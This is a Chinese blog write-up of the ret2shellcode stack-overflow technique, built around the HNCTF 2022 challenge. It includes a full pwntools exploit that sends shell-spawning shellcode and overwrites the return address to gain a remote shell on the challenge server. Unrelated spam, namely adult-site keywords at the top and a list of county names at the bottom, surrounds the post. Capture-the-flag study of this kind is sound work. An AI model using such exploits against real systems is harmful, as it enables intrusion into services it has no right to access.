最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網(wǎng) 會(huì)員登陸 & 注冊(cè)

ret2shellcode

2023-04-11 21:19 作者:拉狗不出異格不改名  | 我要投稿

這邊就簡(jiǎn)單的情況分析一下,能力有限,復(fù)雜的shellcode還不會(huì)寫。

1、概述:

自己調(diào)用shell的機(jī)器碼注入到內(nèi)存中,然后通過棧溢出復(fù)寫返回地址,使得程序跳轉(zhuǎn)到shellcode所在的內(nèi)存之中

?????? 這里,我們需要找到一個(gè)能夠讀寫的段地址,并且這個(gè)地址是可以執(zhí)行的(-x-w),同時(shí)還需要知道如何修改這些段的內(nèi)容

2、攻擊手段(四種簡(jiǎn)單的常見思路)

1)向stack中注入shellcode

這種情況一般是啥保護(hù)也沒有開的情況,直接寫就完事

2)向bss段中注入shellcode

在虛擬內(nèi)存中,bss主要保存沒有初始值的全局變量或靜態(tài)變量(匯編中由占位符?聲明)。

這里是針對(duì)bss段可以寫的情況。

3)向data段中注入shellcode

data段主要保存的是已經(jīng)初始化了的全局變量或靜態(tài)變量,攻擊思路和bss注入方法向類似

4)向heap段中注入shellcode

heap主要保存通過動(dòng)態(tài)內(nèi)存分配產(chǎn)生的變量。如果heap段可寫并且可以執(zhí)行,攻擊者就可以嘗試向shellcode注入到動(dòng)態(tài)分配的變量中

3、shellcode的使用(一些詳細(xì)的介紹,可以看看這里)

The art of shellcode - roderick - record and learn! (roderickchan.github.io)

(補(bǔ)充一下,要是我們要知道我們掉用的函數(shù)長(zhǎng)度,可以

python3

from pwn import*

len(asm(shellcraft.sh())

?

4、這里結(jié)合一道詳細(xì)的例題來簡(jiǎn)單的說一下

[HNCTF 2022 Week1]ret2shellcode

這里結(jié)合簡(jiǎn)單的原理來說一下怎么做的。

1、檢查一下保護(hù)機(jī)制:


2、分析主函數(shù):

IDA中的main


這一道題,經(jīng)過我們的分析發(fā)現(xiàn)并沒有發(fā)現(xiàn)bin/sh文件的地址,然而,我們發(fā)現(xiàn)在主函數(shù)中存在可以讀寫的段,再想到題目名稱的提示,我們可以進(jìn)行ret2shellcode

通過查看,

buff段地址

(vmmap:

buff地址是可以讀寫的。

3、開始編寫exp,

這里我們s[ ]數(shù)組由100個(gè)空間,返回地址加8


再結(jié)合之前分析buff位于0x4040A0處

可以知道我們的payload=shell.ljust(0x108,b’0’)+p64(buff)

完整exp:

?

from pwn import *

context(log_level='debug',arch='amd64', os='linux')

?

io = remote('node3.anna.nssctf.cn',28916)

?

shell=asm(shellcraft.sh())

buff=0x4040A0

payload=shell.ljust(0x108,b'0')+p64(buff)

io.sendline(payload)

?

io.interactive()

4、獲得flag


ret2shellcode的評(píng)論 (共 條)

分享到微博請(qǐng)遵守國(guó)家法律
濮阳县| 玛纳斯县| 德兴市| 绥芬河市| 巴东县| 万荣县| 马尔康县| 北流市| 南川市| 云龙县| 安仁县| 崇阳县| 宁远县| 新宾| 池州市| 靖边县| 黑龙江省| 十堰市| 平昌县| 赫章县| 安远县| 成武县| 信阳市| 宜丰县| 资溪县| 巴楚县| 毕节市| 漳州市| 多伦县| 涪陵区| 兴宁市| 句容市| 延寿县| 周至县| 彝良县| 五指山市| 梧州市| 禄劝| 巴彦县| 比如县| 留坝县|